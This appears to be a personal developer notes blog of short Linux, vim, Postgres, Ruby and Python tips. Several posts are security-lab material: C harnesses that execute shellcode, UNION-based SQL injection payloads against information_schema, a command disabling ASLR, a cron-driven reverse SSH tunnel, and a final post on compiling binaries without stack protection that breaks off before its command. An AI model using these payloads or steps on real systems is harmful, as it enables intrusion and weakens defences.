SEGV

Posted on 17 Sep 2014

vim

open all vim buffers in tabs

:bufdo tab split

Posted on 19 Jun 2014

linux

find duplicate files

Find duplicate files first by file size and then MD5 sum, with a progress bar:

find -not -empty -type f -printf "%s\n" \
  | sort -rn \
  | uniq -d \
  | xargs -I{} -n1 find -type f -size {}c -print0 \
  | tee \
  | pv --line-mode --size $(find . -type f | wc -l) \
  | xargs -0 md5sum \
  | sort \
  | uniq -w32 --all-repeated=separate \
  | tee /tmp/duplicates

http://www.commandlinefu.com/commands/view/3555/find-duplicate-files-based-on-size-first-then-md5-hash

Posted on 23 May 2014

linux

spin down idle hard drive

I noticed that my external hard drive, which uses a cheap SATA to USB enclosure, was constantly spinning, even when I hadn't accessed it in hours.

I decided to lookup how to coax the drive to spin down.

A little searching showed that you can check a drive's status and set its idle timeout policy with the hdparm command.

$ sudo hdparm -C /dev/sdb
/dev/sdb:
 drive state is:  active/idle

Setting the timeout is a little odd, the value 120 means 10 minutes. See the man page for details.

$ sudo hdparm -S 120 /dev/sdb 
/dev/sda:
 setting standby to 120 (10 minutes)

I also read that some drives don't obey hdparm, so you may want to checkout hd-idle if your drive won't idle.

Posted on 22 May 2014

postgres

postgres histogram

A huge thank you for this little gem — a quick and dirty histogram in PostgreSQL:

WITH 
stats AS (
  SELECT 
      min(__value__)
    , max(__value__)
  FROM __table__
), 
histogram AS (
  SELECT
    WIDTH_BUCKET(__value__, min, max, 9)  --<<<<<
    AS bucket
  , MIN(__value__)
  , MAX(__value__)
  , COUNT(*) 
    AS freq
  FROM __table__
  CROSS JOIN stats
  GROUP BY bucket
  ORDER BY bucket
)
SELECT 
    bucket
  , min
  , max
  , freq
  , REPEAT('*', (freq::FLOAT / max(freq) over() * 30)::INT) 
    AS bar
FROM histogram
;
 bucket |  min  |  max  |  freq  |              bar
--------+-------+-------+--------+--------------------------------
      1 |     0 |  8517 | 294826 | ******************************
      2 |  8577 | 16400 |  73992 | ********
      3 | 17563 | 25200 |   8202 | *
      4 | 26219 | 33651 |    853 |
      5 | 34560 | 42600 |   1312 |
      6 | 43200 | 51063 |   2592 |
      7 | 53104 | 59037 |      9 |
      8 | 60000 | 68400 |     17 |
      9 | 68577 | 76833 |     54 |
     10 | 77060 | 85499 |     60 |

Visualize the frequency distribution of some __value__ in your __table__, and adjust the number of buckets to increase the resolution.

http://tapoueh.org/blog/2014/02/21-PostgreSQL-histogram.html

Posted on 20 May 2014

mac os x

don't save shortcut

dont save dialog

Seven years I have been using Mac OS X, and this entire time I have hated moving my hand to the mouse to select the "Don't Save" button on exit dialog menus.

Well, I finally looked up the shortcut and then I promptly forgot it. This time, I am writing it down. Here it is, and I hope it helps.

Command-D

Selects "Don't Save" in dialogs that contain a Don't Save button, in Mac OS X v10.6.8 and earlier

Command-Delete

Selects "Don't Save" in dialogs that contain a Don't Save button, in OS X Lion and Mountain Lion

http://support.apple.com/kb/ht1343

Posted on 23 Apr 2014

git

git sparse checkout

One thing I missed after switching to git from svn was the ability to checkout a single directory.

Well, it seems that the ability to partially checkout a repository was added to git in February of 2012, and I am way behind.

Here is how you perform a sparse checkout:

# Initialize
git init [repo]
cd [repo]

# Fetch 
git remote add -f origin [url]

# Configure
git config core.sparsecheckout true
echo "path/to/dir" >> .git/info/sparse-checkout
echo "path/to/some/file" >> .git/info/sparse-checkout

# Checkout
git pull origin master

If you modify .git/info/sparse-checkout, you will want to run the following to update your working directory:

git read-tree -m -u HEAD

http://git-scm.com/docs/git-read-tree
http://stackoverflow.com/questions/600079/is-there-any-way-to-clone-a-git-repositorys-sub-directory-only

Posted on 02 Apr 2014

python linux go

partial uniq using a lru cache

Recently, I was faced with the challenge of removing duplicate lines from a number of large data files.

Typically, I use a combination or sort and uniq or just sort -u, but in this circumstance many duplicate lines were close together.

I found that, first, partially filtering duplicates by using a LRU cache to keep track of and omit recently seen lines doubled the speed.

#!/usr/bin/env python
# file: lru-uniq.py
import fileinput
from repoze.lru import LRUCache

size = 10000
cache = LRUCache(size)
for line in fileinput.input():
  if not cache.get(line):
    print line,
  cache.put(line, True)
$ time sort ns | uniq | wc -l
  936442
real    1m58.768s

$ time ./lru-uniq.py ns | sort | uniq | wc -l
  936442
real    0m55.236s

I wanted to speed it up a little more, and it turns out that although I have never written a program in Go before it was the fastest way to write a compiled version.

So, here it is, and I'm sure it is terrible Go.

package main

import (
  "os"
  "fmt"
  "bufio"
  "github.com/golang/groupcache/lru"
)

func main() {
  cache := lru.New(10000)
  stdin := bufio.NewReader(os.Stdin)
  for {
    line, err := stdin.ReadString('\n')
    if err != nil {
      break
    }
    _, hit := cache.Get(line)
    if !hit {
      fmt.Print(line)
    }
    cache.Add(line, 1) 
  }
}
$ time ./lru-uniq < ns | sort | uniq | wc -l
  936442
real    0m35.218s

Posted on 27 Mar 2014

ruby

useful ruby switches

Ruby is excellent for writing one-off scripts, and there are a lot of extremely useful flags for integrating Ruby into pipelines.

-n   Iterate over input file; automatically wraps script in:
            while gets
              ...
            end
-a   Turns on auto-split mode when used with -n or -p. Executes 
            $F = $_.split
     at beginning of each loop.

-l   Automatically .chops! line read, removing trailing \r and \n bytes.

-F   Specifies input field separator; use -a, access fields with $F.

Dummy example prints the first field of a csv:

# cut -d, -f1
ruby -anl -F, -e "puts $F[0]" < input.csv

Integrates a one-liner into a pipeline, which searches a csv for entries on a certain date:

# print first and second field, converting timestamp to YYYYMMDD
pv data.csv.tar.xz \
  | xzip \
  | ruby -r time -anl -F, -e \
    'puts "#{$F[0]},#{Time.at($F[1].to_i).strftime("%Y%m%d")}"' \
  | LC_ALL=C fgrep 20140331 \
  > output

If your code is not one line, you can use the switches in your shebang:

#!/usr/bin/env ruby -a -n -l -i -F,

Inspired by the following post about refactoring a 47-line script into just a single line with the help of these switches.

http://arjanvandergaag.nl/blog/using-ruby-command-line-options.html

Posted on 24 Mar 2014

vim

reselect visual block in vim

I try to minimize visual block usage in favor of gestures, but for whatever reason I have been neglecting a very important shortcut for reselecting the previously selected text.

gv

Posted on 23 Mar 2014

postgres psql vim

syntax highlighting in psql vim session

If you spend a lot of time using psql, you should definitely use the \e and \ef commands to edit queries and functions in VIM.

\e [FILE] [LINE]  edit the query buffer (or file) with external editor 
\ef [FUNCNAME [LINE]]  edit function definition with external editor

One annoyance is that, because the temporary file created doesn't have a .sql extension, VIM doesn't enable syntax highlighting.

Here is a simple autocmd that will turn syntax highlighting on that match psql's filename pattern:

autocmd BufRead /tmp/psql.edit.* setlocal ft=sql

Posted on 22 Mar 2014

vim

soft wrapping in vim

By default, wrap in VIM will break lines in the middle of words.

To enable soft wrapping, wrapping without breaking words, simply enable linebreak.

:set wrap
:set linebreak

http://vimcasts.org/episodes/soft-wrapping-text/

Posted on 17 Mar 2014

ssh linux

fix slow ssh logins v2

Newer versions of OpenSSH attempt to reverse resolve client IP addresses. This can cause slow ssh connections if the client IP does not reverse resolve as the DNS request will be attempted multiple times and timeout each time.

To fix the problem, disable it in your /etc/ssh/sshd_config:

UseDNS no

Posted on 10 Mar 2014

git

diff file against remote branch

git diff [localbranch] [remotebranch] [filepath]

Just a basic command I always forget. Here is the source with some really good tips:

http://durdn.com/blog/2012/12/05/git-12-curated-git-tips-and-workflows/

Posted on 21 Feb 2014

linux x11

map caps lock to escape in linux

xmodmap -e 'clear Lock' -e 'keycode 0x42 = Escape'

Posted on 24 Jan 2014

mac osx

spectacle

Over the past year I have fallen in love with the Awesome window manager. However, my primary machine is Mac OS X. In lieu of a proper tiling window manager, I just stumbled across Spectacle, a slick open-source app for Mac OS X that gives you configurable shortcuts for manipulating windows.

http://spectacleapp.com/

Posted on 20 Jan 2014

bash

trap to cleanup

function cleanup() {
 rm -v $TEMPFILE
}

# catch HUP, INT, QUIT, and TERM
trap cleanup 1 2 3 15

Posted on 15 Jan 2014

vim

vim tips day 01

Started reading Practical Vim and I'm going to start listing tips I should be using more frequently in VIM.

zz                  redraw screen with current line in middle 
CTRL-o              execute one command, return to Insert mode
CTRL-r {register}   paste from register while in Insert mode 
CTRL-r=             use the expression register to evaluate and 
                    insert a calculation           
q:                  command-line window

Posted on 04 Dec 2013

postgres

postgres dblink

Connect to and query a remote PostgreSQL database from a local database.

First install the dblink extension and enable it for your database, e.g.

sudo apt-get install postgresql-contrib-9.1
sudo -u postgres psql -c 'CREATE EXTENSION dblink;' foo

Then connect to the remote database with the dblink_connect function:

SELECT 
dblink_connect('hostaddr=10.0.1.1 port=5432 dbname=foo user=bar password=baz');

http://www.postgresql.org/docs/9.1/static/contrib-dblink-connect.html

Posted on 29 Oct 2013

postgres

kill postgres query

Find the PID of the query from a system utility like top or htop, or from the "pg_catalog.pg_stat_activity" table.

sudo -u postgres psql
postgres=# SELECT pg_cancel_backend(28710);

Posted on 29 Oct 2013

pam linux ssh

pam exec

PAM, the Linux Pluggable Authentication Modules, allows you to execute programs and scripts when SSH sessions are opened and closed.

# /etc/pam.d/sshd
session optional        pam_exec.so     /path/to/script.sh

# /path/to/script.sh

#!/bin/bash
if [ $PAM_TYPE = "open_session" ]; then
  # 
fi
exit 0

WARNING: Botching your script or failing to return 0 will cause SSH login to fail. Don't lock yourself out, test your script!

Posted on 19 Oct 2013

python postgres

python in postgres

Installing and adding Python to your PostgreSQL database in Ubuntu:

sudo apt-get install postgresql-plpython-9.1
sudo -u postgres psql -c 'CREATE EXTENSION plpythonu;' dbname

Check that it was installed:

psql -c '\dL' dbname
       List of languages
   Name    |  Owner   | Trusted 
-----------+----------+---------
 plpgsql   | postgres | t 
 plpythonu | postgres | f 
(2 rows)

Keep in mind that Python is an 'untrusted' language meaning that functions written in PL/Pythonu execute in an administrative context. For this reason, Python functions can only be created by an administrator and special care should be taken that nothing damaging or nefarious can be done with the function by non administrator users of the database.

Now, you can declare a function in Python as an administrator.

CREATE FUNCTION shuffle(arg text) RETURNS text AS
$$
  import random
  a = list(arg)
  random.shuffle(a)
  return ''.join(a)
$$
LANGUAGE plpythonu;
=> SELECT shuffle('foo bar');
 shuffle 
---------
 oa forb
(1 row)

Posted on 18 Oct 2013

python coroutines

consumer decorator

Just stumbled across this little gem, and I don't want to forget about it. Here is a decorator that takes care of the ugliness in first call to .next(), necessary for receiving coroutines in Python.

def consumer(func):
  def start(*args,**kwargs):
  c = func(*args,**kwargs)
  c.next()
  return c
  return start
@consumer
def recv_count():
 try:
   while True:
     n = (yield) # Yield expression
     print "T-minus", n
 except GeneratorExit:
   print "Kaboom!"

http://www.dabeaz.com/coroutines/Coroutines.pdf

Posted on 16 Oct 2013

linux pipes ruby

piping to ruby scripts

Ruby, instead of exiting when it receives a SIGPIPE, throws an exception Errno:EPIPE which usually results in a stack trace.

./foo.rb:8:in `write': Broken pipe - <STDOUT> (Errno::EPIPE)

Here is the idiomatic one-line to simply exit when your script gets a SIGPIPE:

trap('PIPE', 'EXIT')

Posted on 16 Oct 2013

linux tail

tail

I didn't know tail could be used to skip lines in a file:

Numbers having a leading plus (`+') sign are relative to the beginning of the input

# skip first line, start from second line
tail -n+2 file

Posted on 16 Oct 2013

jquery javascript

delay jquery hover event

Suppose you'd like to perform an event when the user hovers over an item, but you'd like that event to be slightly delayed to reduce sensitivity to inadvertent mouse movements.

To solve this problem you can decompose the hover action into a mouseenter and mouseleave. Then use a setTimeout to perform your action, but cancel the timer if the mouse leaves too early.

Using an immediately invoked function closure, you can store the timer object and clear it easily like so:

(function () {
  var timer;

  function change(event) {
    var that = $(this); 
    timer = setTimeout(function() {
      // ...
    }, 200); 
  }

  function cancel(event) {
    clearTimeout(timer);
  }

  $('selector').mouseenter(change)
    .mouseleave(cancel);
}());

Posted on 11 Oct 2013

links

javascript libraries

None of these need my help in their popularity campaigns, I'm sure, but check out any you haven't used:

http://momentjs.com/
http://underscorejs.org/
http://d3js.org/
http://www.dropzonejs.com/

Posted on 01 Oct 2013

vim

vim reminders

1) I always trounce my yank buffer when I delete lines. Don't forget that registers 0-9 are a history of the past 10 yank buffers.

"0p    ...    "9p

2) Sometimes, when doing a global search and replace, it is convenient to be prompted before replacing each string.

%s/foo/bar/gc

Posted on 23 Sep 2013

vim

vim multipurpose tab

Just found this little nugget crawling through garybernhardt's .vimrc. This baby makes tab autocomplete intelligently, i.e. if you aren't at the beginning of a line or a space.

" Indent if we're at the beginning of a line. Else, do completion.
function! InsertTabWrapper() 
    let col = col('.') - 1
    if !col || getline('.')[col - 1] !~ '\k'
        return "\<tab>"
    else
        return "\<c-p>"
    endif
endfunction
inoremap <tab> <c-r>=InsertTabWrapper()<cr>
inoremap <s-tab> <c-n>

Posted on 09 Sep 2013

postgres

postgres index usage

Awesome article on understanding postgres performance had this little nugget, which gives you the tables in your database with the percentage of time they use an index:

SELECT 
  relname, 
  100 * idx_scan / (seq_scan + idx_scan) percent_of_times_index_used, 
  n_live_tup rows_in_table
FROM 
  pg_stat_user_tables
WHERE 
  seq_scan + idx_scan > 0 
ORDER BY 
  n_live_tup DESC;

Posted on 03 Sep 2013

screen

split screen

GNU screen allows you to split your screen session into independently operable windows.

CTRL + a + S                - horizontal split
CTRL + a + TAB              - change split
CTRL + a + X                - kill current split
CTRL + a + :resize N        - resize to N lines

Posted on 26 Jun 2013

vi readline vim

readline vi mode

# ~/.inputrc
set editing-mode vi

Posted on 25 Jun 2013

pandora

i'm still listening

I'm always listening, Pandora.

setInterval(function () { $('.still_listening').click(); }, 1000);

Posted on 24 Jun 2013

mac osx liveusb bootable

creating a bootable usb in mac os x

1) Convert ISO to IMG.

hdiutil convert -format UDRW -o /path/to/output.img /path/to/input.iso

2) Unmount drive.

diskutil unmountDisk /dev/diskN

3) Copy IMG to drive.

sudo dd if=/path/to/output.img of=/dev/rdiskN bs=1m

4) Eject drive.

diskutil eject /dev/diskN

Posted on 18 Jun 2013

c buffer overflow

shellcode test harnesses

On the stack:

char sc[] = "...\xCD\x80";

int main()
{
  int *ret;
  ret = &ret + 2;
  *ret = (int *) sc;
  return 0;
}

On the heap:

char sc[] = "";

int main()
{
  // mmap(NULL, size, 7, 34, -1, 0);
  void *map = mmap(NULL, strlen(sc), PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 
  memcpy(map, sc, strlen(sc));
  ((int(*)())map)();
}

Posted on 10 Jun 2013

vim

vim autocomplete

VIM has word auto-completion built-in, press CTRL+n while in Insert mode: vim autocomplete

Posted on 08 Jun 2013

python

map reduce a csv file

Map-reduce a CSV files using the incredible UNIX sort utility in just ~24 LOC.

#!/usr/bin/env python
# kwarrick@uga.edu
import csv
import subprocess
from itertools import groupby

def map_reduce_csv(mapper, reducer, key, infile, outfile):
  """ Map-reduce CSV file using UNIX sort utility. """
  sort = subprocess.Popen(
    ['/usr/bin/sort', '-t,'], 
    env={'LC_ALL': 'C'},
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
  )

  # map and sort
  reader = csv.reader(infile)
  writer = csv.writer(sort.stdin, quoting=csv.QUOTE_NONE)

  for row in reader:
    writer.writerows(mapper(row))

  sort.stdin.close()

  # group and reduce
  reader = csv.reader(sort.stdout)
  writer = csv.writer(outfile, quoting=csv.QUOTE_NONE)

  for k, v in groupby(reader, key):
    writer.writerows(reducer(k, list(v)))

  sort.stdout.close()

def identity(infile, outfile):
  """ Example task simply outputs sorted input file. """
  def key(row):
    return row[0]
      
  def mapper(row):
    yield row

  def reducer(key, values):
    for value in values:
      yield value

  map_reduce_csv(mapper, reducer, key, infile, outfile)

if __name__ == '__main__':
  import fileinput
  with open('output.csv', 'w') as outfile:
    identity(fileinput.input(), outfile)

Posted on 07 Jun 2013

ruby dns

parsing DNS messages with ruby

Ruby's core module, resolv, will allow you to easily parse raw DNS messages:

require 'resolv'

Resolv::DNS::Message.decode("\xE8\x84\x81\x80...")

msg.opcode
# => 0 

msg.question 
# => [[#<Resolv::DNS::Name: segv.me.>, Resolv::DNS::Resource::IN::A]]

Posted on 05 Jun 2013

postgres

postgres database and table size

SELECT pg_size_pretty(pg_database_size('foo_db'));
SELECT pg_size_pretty(pg_total_relation_size('bar_table'));

Posted on 04 Jun 2013

vim

visual block mode

Multi-line text insert:
1. CTRL + V (select column)
2. SHIFT + i (insert)
3. type text
4. ESC

Multi-line text append:
1. CTRL + V (select lines)
2. $ (extend block to end of lines)
2. SHIFT + a (append)
3. type text
4. ESC

Posted on 23 May 2013

ruby

Posted on 22 May 2013

textmate shortcuts

TextMate shortcuts

Append to multiple lines:

(select lines) + CMD + OPTION + a

Posted on 15 May 2013

cron backup

backup your crontabs

Don't forget to backup your crontabs when you are reinstalling!

# list crontab for your user
crontab -l

If you have multiple users, you grab the files:

cp -r /var/spool/cron/crontabs /media/backup/folder/path/

Posted on 24 Apr 2013

linux nonsense

how long is the linux kernel, in miles?

So, if we count the bytes in each .h, .s, and .c file what do we get?

find . -iname '*.c' -o -iname '*.h' -o -iname '*.s' -exec wc -c {} \; | 
ruby -n -e \
"puts ARGF.reduce(0) { |acc,val| acc + val.split.first.chomp.to_i }"
# 9190080

(12 + 2)  /  300.0 * 9190080 / 12.0 / 5280.0
px font + px kerning / dpi * characters / foot  / mile

Approximately 6.7 miles.

Posted on 21 Apr 2013

gdb

save breakpoints to file in gdb

It took me entirely too long to look this up, but you can store your breakpoints to a file and restore them with the following commands:

save breakpoints [filename]
source [filename]

Posted on 15 Apr 2013

python gzip urllib2 shutil

working with large web resources in python

Saving the file to disk.1

import urllib2
import shutil

req = urllib2.urlopen(url)
with open(filename, 'wb') as f:
  shutil.copyfileobj(req, f)

Reading GZIP compressed CSV files:2

import csv
import gzip

with gzip.open(filename) as f:
  reader = csv.reader(f, quoting=csv.QUOTE_NONE)
  header = csv.next()
  for row in reader:
    entry = dict(zip(header, row))
    # ...

  1. http://stackoverflow.com/questions/9252812/using-csvreader-against-a-gzipped-file-in-python
  2. http://stackoverflow.com/questions/1517616/stream-large-binary-files-with-urllib2-to-file

Posted on 10 Apr 2013

ruby

Posted on 28 Mar 2013

vim

markers in vim

Just started using markers in VIM to quickly navigate to places in my code.

mr        - set marker r, where r can be a-z
'r        - jump to mark stored in register r, beginning of line
`r        - jump to position stored in register r, exact position

New or aspiring VIM users like myself should read these:

Posted on 24 Mar 2013

zsh time

zsh automatically report time stats for long processes

export REPORTTIME=60

Setting the variable REPORTTIME to a value greater than zero will make ZSH automatically print execution times after the command finishes.

If nonzero, commands whose combined user and system execution times (measured in seconds) are greater than this value have timing statistics printed for them.

http://zsh.sourceforge.net/Doc/Release/Parameters.html#index-REPORTTIME

Posted on 19 Feb 2013

imagemagick

Posted on 11 Feb 2013

ruby

unpacking a list of items from an array in ruby

I often find myself wanting a subset of a dictionary and find it unsightly syntactically to do a series of element references as it is repetitive and can make lines very long. Here is the example from the docs, augmented to demonstrate my meaning:

h = { "cat" => "feline", "dog" => "canine", "cow" => "bovine", ... }
cat, dog, cow = h["cat"], h["dog"], h["cow"]

Hashes of course have the select method allowing you to do something a little less repetitive, but certainly not any less concise in this case, and it still doesn't help us unpack the values.

h.select { |k,v| %w{cat dog cow}.include? k }
# => {"cat"=>"feline", "dog"=>"canine", "cow"=>"bovine"}

Well, I just found value_at at the bottom of the list on Ruby's Hash object that does exactly what I want:

h.values_at("cow", "cat")  
#=> ["bovine", "feline"]

a = ["cat", "dog"]
cat, dog = h.values_at(*a)

Posted on 09 Feb 2013

bits

bit hacks

Test if the nth bit is set.

(x & (1 << n))

Set the nth bit.

x = x | (1 << n)

Unset the nth bit.

x = x & ~(1 << n)

Toggle the nth bit.

x = x ^ (1 << n)

http://www.catonmat.net/blog/low-level-bit-hacks-you-absolutely-must-know/

Posted on 07 Feb 2013

zsh

comments in zsh

By default, comments are disabled in zsh's interactive interpreter:

[warrick@maca ~] % # comment
zsh: bad pattern: #

I find this to be an incredibly annoying default, but here is how you enable such comments:

[warrick@maca ~] % setopt interactivecomments

Posted on 03 Feb 2013

python argf

python equivalent to argf or diamond operator

Ruby has ARGF and Perl has the diamond operator, but what convenience object or operator does Python provide for reading from files provided on the command line or stdin?

import fileinput
for line in fileinput.input():
    process(line)

http://docs.python.org/2/library/fileinput.html

Posted on 29 Jan 2013

mysql postgres

coalesce

I have never encountered the COALESCE function in SQL, so I feel the need to take note of it, COALESCE(value, ...) returns the first non-NULL value in the argument list.

http://www.postgresql.org/docs/9.1/static/functions-conditional.html http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#function_coalesce

Posted on 18 Jan 2013

linux ssh

reverse ssh tunnel

When I have a machine behind a NAT that I know I'll need remote access to over the weekend, I add this rudimentary little script:

#!/bin/bash
RUSER=warrick
LPORT=5555
RHOST="74.207.228.87"

COMMAND="ssh -N -f -R ${LPORT}:localhost:22 ${RUSER}@${RHOST}"
pgrep -f -x "$COMMAND" > /dev/null 2>&1 || $COMMAND

I then add this to the crontab, which runs the script every 5 minutes:

#  KEY
#  +---------------- minute (0 - 59)
#  |  +------------- hour (0 - 23)
#  |  |  +---------- day of month (1 - 31)
#  |  |  |  +------- month (1 - 12)
#  |  |  |  |  +---- day of week (0 - 7 with Sunday=0 & 7)
#  |  |  |  |  |
#  *  *  *  *  *  command to be executed
  */5 *  *  *  *  bash /home/user/rsshchk.sh

So, now I know I can ssh into the $RHOST and then ssh to the localhost at $LPORT, allowing me access to the NAT'd box:

ssh -p LPORT RUSER@locahost

Posted on 09 Dec 2012

python redis lru

redis lru cache decorator in python

Python 3 offers a brilliant decorator that adds a Least Recently Used (LRU) cache to any function:

@lru_cache(maxsize=20)
def get_pep(num):
    'Retrieve text of a Python Enhancement Proposal'
    resource = 'http://www.python.org/dev/peps/pep-%04d/' % num
    try:
        with urllib.request.urlopen(resource) as s:
            return s.read()
    except urllib.error.HTTPError:
        return 'Not Found'

>>> for n in 8, 290, 308, 320, 8, 218, 320, 279, 289, 320, 9991:
...     pep = get_pep(n)
...     print(n, len(pep))

>>> print(get_pep.cache_info())
CacheInfo(hits=3, misses=8, maxsize=20, currsize=8)

Functools has been back-ported to Python 2.7; however, I was interested in creating a similar LRU cache decorator but leveraging a Redis server so that the cache can be shared across several worker programs. The cache will be semi-persistant allowing workers to restart as necessary.

It turned out to only take 50 lines of Python, so I am sharing it: https://gist.github.com/4247343

http://docs.python.org/3/library/functools.html#functools.lru_cache

Posted on 04 Dec 2012

python postgres date

week of year in python and in postgres

import datetime

today = datetime.date.today()
today.isocalendar()[1]
SELECT EXTRACT(WEEK FROM TIMESTAMP '2012-12-04 20:38:40');

Posted on 31 Oct 2012

mac mac os x mdfind

mdfind

I frequently use Spotlight, and I was pleasantly surprised to discover it has a command-line complement, mdfind.

% mdfind sniffer.pdf
/Users/warrick/Desktop/sniffers/sniffer.pdf
/Users/warrick/CSCI/CSCI 6760 S12/presentations/sniffers/sniffer.pdf

Posted on 28 Oct 2012

iproute2 linux

multiple interfaces, multiple gateways

When configuring two interfaces, each on a different subnet, you must add an additional routing table to isolate interface traffic (e.g. eth0 in, eth0 out).

1. Create a routing table. In our example we create a table named 'secondary' with identifier 252:

% echo '252 secondary' >> /etc/iproute2/rt_tables

If you check out /etc/iproute2/rt_tables you'll see there are a few reserved identifiers one of which is for the primary routing table, main:

#
# reserved values
#
255	local
254	main
253	default
0	unspec

2. Add rules so the Linux kernel will use our new table:

% ip rule add to 10.0.1.0/24 table secondary
% ip rule add from 10.0.1.0/24 table secondary

% ip rule list  
0:	from all lookup local 
32764:	from 10.0.1.1/24 lookup secondary 
32765:	from all to 10.0.1.0/24 lookup secondary 
32766:	from all lookup main 
32767:	from all lookup default

3. Add an entry to the new routing table mapping the subnet traffic to the correct interface:

% ip route add 10.0.1.0/24 dev eth0 src 10.0.1.5 table secondary

4. Add an entry specifying the gateway of the subnet:

% ip route default via 10.0.1.1 dev eth0 table secondary

That is it, now traffic on 10.0.1.0/24 will be routed through the secondary table, and we can take a look at our routes:

% ip route list table secondary
default via 10.0.1.1 dev eth0 
10.0.1.0/24 dev eth0  scope link  src 10.0.1.5

In Ubuntu, if you want this configuration to persist across boots you'll need to add it your your /etc/network/interfaces config:

auto eth0
iface eth0 inet static
address 10.0.1.5
netmask 255.255.255.0
up ip rule add to 10.0.1.0/24 lookup secondary
up ip rule add from 10.0.1.0/24 lookup secondary
up ip route add 10.0.1.0/24 dev eth0 src 10.0.1.5 table secondary
up ip route add default via 10.0.1.1 dev eth0 table secondary

http://segv.me/posts/iproute2 http://kindlund.wordpress.com/2007/11/19/configuring-multiple-default-routes-in-linux/

Posted on 23 Oct 2012

python date

x days ago in python

import datetime

today = datetime.date.today()

yesterday = today - datetime.timedelta(1)

x = 5
x_days_ago = today - datetime.timedelta(x)

Posted on 23 Oct 2012

screen

name screen windows

Finally looked this one up,

CTRL+A, SHIFT+A
name screen window

Posted on 22 Oct 2012

ruby dns

duck punching, in action

Following up on last post, this post is about a monkey patch I wrote to get a little more functionality out of one of Ruby's standard libraries, Resolv.

Resolv is a DNS stub resolver library written in Ruby that provides the ability to perform non-blocking DNS requests, but it doesn't expose any sort of access to the raw DNS records returned, at least that I could tell.

So, after tracing the code, I found that copying an existing function, modifying it very slightly, and patching it in was the easiest way to get in:

require 'resolv'

class Resolv::DNS
  def query(name, typeclass)
    lazy_initialize
    requester = make_udp_requester
    senders = {}
    begin
      @config.resolv(name) do |candidate, tout, nameserver, port|
        msg = Message.new
        msg.rd = 1
        msg.add_question(candidate, typeclass)
        unless sender = senders[[candidate, nameserver, port]]
          sender = senders[[candidate, nameserver, port]] =
            requester.sender(msg, candidate, nameserver, port)
        end
        reply, reply_name = requester.request(sender, tout)
        if reply.rcode == RCode::NoError
          if reply.tc == 1 and not Requester::TCP === requester
            requester.close
            # Retry via TCP:
            requester = make_tcp_requester(nameserver, port)
            senders = {}
            redo
          end
          return reply
        end
      end
    ensure
      requester.close
    end
  end
end

dns = Resolv::DNS.new

resp = dns.query("segv.me", Resolv::DNS::Resource::IN::A)

resp.rcode
=> 0

[resp.encode].pack("m*")
=> "XYKBgAABAAEABQAABHNlZ3YCbWUAAAEAAcAMAAEAA..."

Of course this certainly isn't as full-featured as Net::DNS, the Perl analog, but it doesn't require a gem as Resolv is part of the stdlib.

Posted on 15 Oct 2012

ruby

duck punching

Heh, monkey patching is also called "duck punching".

Well, I was just totally sold by Adam, the idea being that if it walks like a duck and talks like a duck, it's a duck, right? So if this duck is not giving you the noise that you want, you've got to just punch that duck until it returns what you expect.
http://en.wikipedia.org/wiki/Monkey_patch

Posted on 15 Oct 2012

chattr e2fsprogs linux

chattr

A friend reminded me about chattr. Linux ext{2,3,4} filesystems have supplementary file attributes which can be modified with the "change attributes" utility found in the e2fsprogs package.

The two most interesting in my opinion are +/- i for immutable and +/- j for secure deletion:

% sudo chattr +i /bin/ps
% sudo chattr +j secret.txt

% lsattr bar
----i----j---e- bar

Posted on 11 Oct 2012

ruby

ruby tricks

James Edward Gray II, a Ruby Rogue, just gave a talk at the Aloha Ruby Conference about a bunch of Ruby tricks. Here are a few I'm cataloging, but they are all worth a looksy.

Trap (with a twist):

require 'pry'

trap(:INT) do
  binding.pry
  trap(:INT, "EXIT")
end

loop do
  sleep
end

Daemonize:

Process.daemon

loop do
  sleep
end

Subprocess:

# spawn([env,] command... [,options]) => pid
pid = spawn({"VAR" => 7564}, 
           "/usr/local/bin/program", 
           in: open("input-file"))

Process.wait(pid)

Ruby Command Flags:
The Ruby executable has many useful flags as well, recall that the global variable $_ in Ruby has the value of the last string read by gets.

-e    execute specified Ruby code.
       % ruby -e 'puts "ohai"'
       ohai

-n    performs the following on input files.
       while gets
           ...
       end

       % ruby -n -e 'puts $_.upcase' foobars
        FOO
        BAR

-p    same as n, except print the value of $_ after each loop

       % ruby -p -e '$_.upcase!'  foobars
        FOO
        BAR


-i    extension   in-place modification of input files, 
      specify file extension backup file (e.g. .bak) 

       % echo matz > /tmp/junk
       % cat /tmp/junk
        matz
       % ruby -p -i.bak -e '$_.upcase!' /tmp/junk
       % cat /tmp/junk
        MATZ
       % cat /tmp/junk.bak
        matz

https://speakerdeck.com/u/jeg2/p/10-things-you-didnt-know-ruby-could-do?utm_source=rubyweekly&utm_medium=email

Posted on 04 Oct 2012

sql sql injection

basic sql injection

SELECT user
FROM users 
WHERE user.name = 'jeffrey';
1. FIND NUMBER OF COLUMNS "order by" trick - test if you can order by a column number 2. NOW WE CAN DO A UNION (# OF COLUMNS MUST MATCH) ' union select 1,2,3,version() -- - 3. NOW WE CAN GET TABLE, COLUMN, AND DATABASE INFO ' union select 1,2,3,table_name from information_schema.tables where table_schema="x8250" -- - ' union select 1,2,3,column_name from information_schema.columns where table...

Posted on 29 Sep 2012

aslr linux

disable aslr

sudo sysctl -w kernel.randomize_va_space=0

Posted on 27 Sep 2012

zsh globbing extglob

zsh globbing qualifiers

Globbing is the term for pattern matching that shells use to expand wildcards like * or ?. In zsh, globbing patterns can be followed by a list of qualifiers inside of parenthesis, which restrict the filenames that match the glob.

For example, here are a few globs with simple modifiers:

# . modifier means all "plain files"
% ls *(.) 
foo.txt  bar.jpg

#  * modifier means all "executable plain files"
% ls *(*)        
a.out

Normally, the * wildcard would match and expand to all files in the directory (except hidden dot-files). However, with a modifier specified in parens after the glob, you can qualify or restrict your glob.

Besides filtering, you can also specify sorting qualifiers:

oc — sort by criteria c ascending.

Oc — sort by criteria c descending.

Where criteria c can be:

n   name  (default)
L   size (length) of file
a   access time
m   modification time
c   creation time

Here is the magic, qualifiers can actually be indexed with square braces of the form [beg[,end]]. For example, you can get the most recently modified file:

# glob for the newest file by modification
% ls -lha *(om[1])
quux

# glob for the oldest file by modification
% ls -lha *(Om[1])
a.out

http://zsh.sourceforge.net/Doc/Release/Expansion.html#Glob-Qualifiers

Posted on 25 Sep 2012

gcc buffer overflow c

compile binary without protection

Compile a 32bit binary with an executable stack and no canary values:

